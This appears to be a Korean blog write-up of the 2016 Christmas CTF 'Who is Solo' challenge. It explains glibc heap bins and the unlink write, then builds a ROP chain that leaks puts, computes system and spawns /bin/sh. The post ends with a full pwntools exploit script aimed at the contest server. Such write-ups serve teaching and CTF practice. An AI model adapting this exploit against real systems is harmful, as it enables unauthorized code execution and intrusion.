By puing | January 27, 2017
Who is Solo? write-up
이번에 풀어볼 문제는 2016년도 Christmas CTF
에 출제되었던 Who is solo
라는 문제입니다.
당시 문제 화면은 아래와 같습니다.
문제 분석
적혀있는 주소에 접속하면 libc 파일과 solo 라는 이름의 바이너리를 받을 수 있습니다.
solo 바이너리를 헥스레이로 보면, main 함수에서 몇 개의 함수들을 호출합니다.
sub_4008b0 함수와 sub_4008d0 함수를 보면, 문자열들을 출력해주고
sub_400930 함수와 sub_4008b6 함수는 각각 malloc 함수와 free 함수를 이용하여 메모리 할당과 해제하는 일들을 해줍니다.
main 함수 내용중에 read 함수를 통해 입력을 받는 부분이 있는데, 할당된 버퍼 크기보다 더 많은 사이즈를 받아주게되면서 overflow 가 일어나게 됩니다.
이 부분을 공략하도록 합시다. 먼저, 이 곳으로 가기 위해서는 0x602080 위치에 0이 아닌 값이 들어가 있어야 합니다. 0x602080 은 bss 영역으로 0 이 들어가져있습니다.
overflow 를 일으키키위해서는 0x602080 에 무슨 값을 써줘야합니다.
먼저, chunk 와 bin 개념에 대해서 간단하게 설명하면 malloc 함수를 이용하면 chunk 구조에 맞게 힙 영역에 할당이 됩니다.
예를들어 사용자가 malloc(100) 으로 100 byte 만큼 할당을 받으면, chunk 에는 실제로 할당받은 100 byte 와 더불어 previous chunk size , 현재 chunk size 정보가 들어가게 됩니다.
그리고 free 한 후에는 data 영역에 fd, bk 포인터들이 위치하게 됩니다.
fd 와 bk 포인터는 free 된 이전 청크와 다음 청크를 가리킵니다. A,B,C 가 차례대로 free 됐다고 가정하면, 각각의 fd, bk 는 이전, 다음 chunk 를 가리키게 됩니다. 더블 링크드 리스트를 이용해서 이전 chunk 와 다음 chunk 의 주소를 가지고 있습니다.
그리고 free 된 chunk 들은 알맞은 bin 에 들어가게 되는데 bin 의 종류로는 fast bin, unsorted bin, large bin, small bin 들이 있습니다.
free 된 chunk 들의 size 에 따라 어느 bin 에 들어갈지 결정이되는데, small bin 에는 512 byte 미만의 chunk 가 들어가고 그 이상의 크기는 large bin 에 들어갑니다.
그리고 small bin 중에서 72 byte 이하의 크기를 가지는 chunk 는 fast bin 에 들어갑니다.
unsorted bin 에는 어떤 chunk 들이 들어가냐면.. chunk size 와 상관없이 free 된 chunk 는 바로 unsorted bin 에 들어가게 됩니다. 그리고 그 size 에 맞는 크기의 요청이 들어오면 unsorted bin 에 있는 chunk 를 돌려주고 아니면 해당 chunk 에 맞는 bin 에 들어가게 됩니다.
72 byte 이하의 크기를 가지는 chunk 는 fast bin 으로 바로 들어가고 unsorted bin 으로 들어가지 않습니다.
여기서 fd, bk 들을 조작할 수 있다면 원하는 곳에 원하는 값을 쓸 수 있습니다.
64bit 기준으로 해당 chunk 를 가리키고 있는 포인터에 + 16 에 fd 가 위치하고 +24 에 bk 에 위치해있습니다.
A,B,C 의 free 된 chunk 들이 있을 때 B chunk 를 사용자에게 할당해주면, B 를 가리키던 A 의 fd 는 C 를 가리키게, B 를 가리키던 C 의 bk 는 A 를 가리키게 됩니다.
unlink 를 통해 위와 같은 작업을 할 수 있는 건데요, unlink 과정은 현재 chunk 의 fd 를 다음 chunk 의 bk 로, 현재 chunk 의 bk 를 이전 chunk 의 fd 에 넣어줌으로써 가운데 chunk 를 뺐을 때 이 chunk 의 이전 chunk 와 다음 chunk 를 서로 연결시켜줍니다.
현재 chunk fd 에 있는 값을 이전 chunk fd 에 넣고, 현재 chunk bk 에 있는 값을 다음 chunk bk 에 넣습니다. 그러면 현재 chunk 를 사용자에게 할당해줄 때 이전 chunk 와 다음 chunk 를 서로 연결시켜주는 것 입니다. (사용자에게 할당해주면 더 이상 free 된 chunk 가 아니기 때문에 free 된 chunk 들이 모여있는 곳에 있으면 안되겠죠. 그래서 할당된 chunk 는 free 된 chunk 들이 모여있는 곳에 없어야하는 것 입니다.)
만약 현재 chunk bk 에 0x11223344 가 들어있으면 어떻게 될까요? unlink 과정에서 0x11223344 + 16 에 위치하는 곳에 현재 chunk fd 의 값이 들어가게될 것 입니다.
이렇게 fd, bk 를 조작할 수 있다면 원하는 주소에 원하는 값을 쓸 수 있습니다. 어떻게 fd, bk 를 조작할 수 있을지 생각해보면, main 함수 마지막 부분에 read 함수를 통해 buf 에 300만큼 입력을 받을 수 있도록 해주었습니다. buf 는 malloc 으로 할당된 주소가 들어가 있는 포인터 입니다.
sub_400930 함수를 보면 malloc 을 통해 힙 영역을 원하는 size 만큼 할당해 준 후, read 함수를 통해 해당 주소에 입력을 받을 수 있도록 해놓았습니다. malloc(200) 으로 200 byte 정도 연달아 할당해주고 main 함수에서 200 byte 이상을 입력해주면 overflow 가 가능한 상황입니다.
이 overflow 를 통해서 fd, bk 를 조작하도록 합시다.
2번째로 할당받은 곳을 free 해주면 free 된 chunk 에 fd, bk 영역이 생길 것 입니다. 그 때 overflow 를 통해 fd, bk 를 조작하도록 합시다.
우리가 원했던건 0x602080 에 0 이 아닌 값을 쓰는거였죠. overflow 를 이용해서 fd,bk 를 조작하여 0x602080 에 값을 써주면 됩니다.
bk 값으로 0x602080 – 16 인 0x602070 을 넣어주면 unlink 과정을 통해 0x602080 주소에 chunk 의 fd 값이 들어가게될 것입니다.
FD->bk=BK, BK->fd=FD 를 통해서 현재 chunk bk 값 + 16 에 현재 chunk fd 값이 들어가게되기 때문에 bk 값이 0x602070 이어야 여기에 +16 한 0x602080 에 값이 써지게 됩니다.
아까 위에서 0x602080 내용이 0 이 아니면 overflow 를 통해서 return address 를 조작할 수 있다고 했습니다.
이 때 return address 주소에 puts plt 주소를 넣도록 합시다. puts 함수의 인자로는 puts got 주소를 넣어 puts 함수 주소를 알아낸 뒤, 주어진 libc 파일을 가지고 offset 을 계산하여 system 함수를 호출하도록 합시다.
그런데 system 함수의 인자로 /bin/sh 을 넣기 위해서 read 함수를 먼저 호출하고 read 함수로 입력을 받을 때 /bin/sh 를 입력하고 /bin/sh 문자열이 있는 주소를 system 함수의 인자로 넣어주도록 해봅시다.
puts 함수를 호출하고, read 함수를 호출하고 system 함수를 호출하는 것을 가능하게 하기 위해서 가젯을 찾아 rop 를 해보도록 합시다.
먼저, pop rdi 명령어가 있는 주소를 return address 에 위치시키면 main 함수가 끝나고 이 주소로 가게되겠죠. pop rdi 명령어를 통해 스택에 있는 puts got 주소를 rdi 레지스터에 넣고 puts plt 로 가게됩니다. (puts 함수의 인자는 rdi 에 있습니다. 그래서 출력하고자 하는 것은 rdi 에 들어가 있어야 합니다.)
그러면 puts 함수를 호출하면서 puts got 에 있는 값을 출력해주고 main 함수로 돌아가게 됩니다. main 함수를 다시 호출하는 이유는 overflow 를 한 번 더 이용하기 위해서 입니다. main 함수로 돌아가 다시 overflow 가 나는 곳으로 가서 overflow 를 일으켜 return address 를 또 조작할 것입니다. 두 번째로 return address 를 조작할 때에는 return address 위치에 pop rsi; pop r15; 명령어가 있는 주소를 넣을 것 입니다. 그러면 pop rsi, pop r15 명령어를 통해 스택에 있는 buf 가 rsi 레지스터에 들어가게 되고 dummy 는 r15 레지스터에 들어가게됩니다. (여기서 r15 레지스터는 신경쓰지 않아도 됩니다. pop rsi 가젯을 못 찾아서 대신 pop rsi, pop r15 가젯을 사용한 것이고 r15 에는 아무 값을 넣도록 해준 것 입니다.) 그 다음에 pop rdx 명령어를 통해 0x10 이 rdx 레지스터에, 0x0 이 rdi 에 들어가게 됩니다. 이 들은 다 read 함수의 인자들 입니다.
read 함수가 호출되어 입력을 받을때 /bin/sh 을 입력하면 이 문자열들이 있는 주소가 buf 로 들어가게 될 것이고 pop rdi 명령어를 통해 buf 가 rdi 레지스터가 들어간 후 system 함수를 호출하면 /bin/sh 이 실행될 것 입니다.(system 함수의 인자는 rdi 입니다.)
이제 필요한 가젯들을 찾아봅시다.
peda 를 이용해서 원하는 가젯을 찾을 수 있습니다. 해당 가젯이 있는 주소를 같이 알려주기 때문에 이 주소를 return address 에 넣으면 해당 명령어가 실행될 것 입니다.
처음으로 malloc 3번을 호출하고
0x603420 부터 사용자가 입력한 값이 들어갑니다. 이 0x603020 에서 200 byte 를 사용할 수 있는 건데 0x603420 에서 200 byte 가 떨어진 곳은 0x6034e0 으로 두 번째 chunk 에서 previous size 가 있는 곳 입니다.
previous size 는 이전 chunk 가 free 된 상태가 아니면 data 영역으로 쓰입니다. 그러기 때문에 첫 번째 chunk 에서 입력한 값이 다음 chunk 의 previous size 에 들어가게 되더라도 첫 번째 chunk 가 free 되면 다음 chunk 의 previous size 에는 사용자가 입력한 값이 들어가 있지 않고 previous size 가 들어가게 될 것입니다.
malloc 으로 할당해 준 후에 가운데 있는 chunk 를 free 해 줍니다.
여기서 bk 가 있는 곳에 0x602080-16 한 값을 써주면 됩니다.
bk 를 조작한 후에 다시 malloc(200) 하면 free 된 두 번째 chunk 가 unlink 되는 과정을 통해 0x602080 에 값이 써지게 됩니다. 그리고 login 메뉴를 들어가서 overflow 를 일으켜 return address 를 조작하면 됩니다.
이 내용을 토대로 만든 exploit code 를 실행하면 /bin/sh 이 실행되는 것을 볼 수 있습니다.
ex.py
from pwn import *
#output = process('./solo')
output = remote("52.175.144.148", 9901)
def malloc(num):
#try to malloc by selecting 1
payload = ""
payload += "1"
output.send(payload + '\n')
output.recvuntil('Allocate')
print output.recvuntil('Number:')
payload = ""
payload += num #chunk Number
output.send(payload + '\n')
print output.recvuntil('Size:')
payload = ""
if num == "4" :
print "here"
payload += "200"
else :
payload += "200" #chunk Size
try :
output.send(payload + '\n')
print output.recvuntil('Data:')
except Exception as e:
print (str(e))
payload = ""
payload += "A"*4 #data
output.send(payload + '\n')
print output.recvuntil('3. ')
def free(num):
payload = ""
payload += num
output.send(payload + '\n')
output.recvuntil('Free')
print output.recvuntil('number:')
payload = ""
payload += num #chunk Number
output.send(payload + '\n')
print output.recvuntil('Success')
def modify():
password = 0x602080
pass2 = password - 16
payload = ""
payload += "201527"
output.send(payload + '\n')
output.recvuntil('Modify')
payload = ""
payload += "\x41" * 200 + p64(0xd1) + p64(0x1) + p64(pass2)
output.send(payload + '\n')
print output.recvuntil('1. malloc')
def login(num):
payload = ""
payload += num
output.send(payload + '\n')
print output.recvuntil('password:')
def att(num):
if num == "1" :
put_plt = 0x400600
put_got = 0x602020
poprdi = 0x4008a0 # pop rdi; ret;
main_addr = 0x400680
payload = ""
payload += "a"*1032
payload += p64(poprdi)
payload += p64(put_got)
payload += p64(put_plt)
payload += p64(main_addr)
output.send(payload + '\n')
print output.recvuntil('1. malloc')
else :
poprsi = 0x400d11 # pop rsi; pop r15; ret;
buf = 0x602078 # writable
dummy = 0x41414141
read_plt = 0x400610
poprdi = 0x400d13
poprdx = libc_base + 0x1b96
payload = ""
payload += "a"*1032
payload += p64(poprsi)
payload += p64(buf)
payload += p64(dummy)
payload += p64(poprdx)
payload += p64(0x10)
payload += p64(poprdi)
payload += p64(0x0)
payload += p64(read_plt)
payload += p64(poprdi)
payload += p64(buf)
payload += p64(system_addr)
output.send(payload + '\n')
print output.recvuntil('1. malloc')
payload = ""
payload += "5"
output.send(payload + '\n')
print output.recvuntil('$ ')
payload = ""
payload += "/bin/sh\x00"
output.send(payload + '\n')
output.interactive()
def exit(num):
payload = ""
payload += num
output.send(payload + '\n')
print output.recvuntil('$ ')
puts_addr = u64(output.recv(6) + '\x00'+'\x00')
#print u64(output.recv(6).ljust(8, '\x00'))
print "puts addr : %x" % puts_addr
global libc_base
libc_base = puts_addr - 0x6fd60
print "libc base : %x" % libc_base
global system_addr
system_addr = libc_base + 0x46590
print "system addr : %x" % system_addr
print output.recvuntil('1. malloc')
def main():
output.recvuntil('1. malloc')
malloc("1")
malloc("2")
malloc("3")
free("2")
modify()
malloc("4")
login("4")
att("1") # 1st time to overwrite return address
exit("5")
login("4")
att("2") # 2nd time to overwrite return address
main()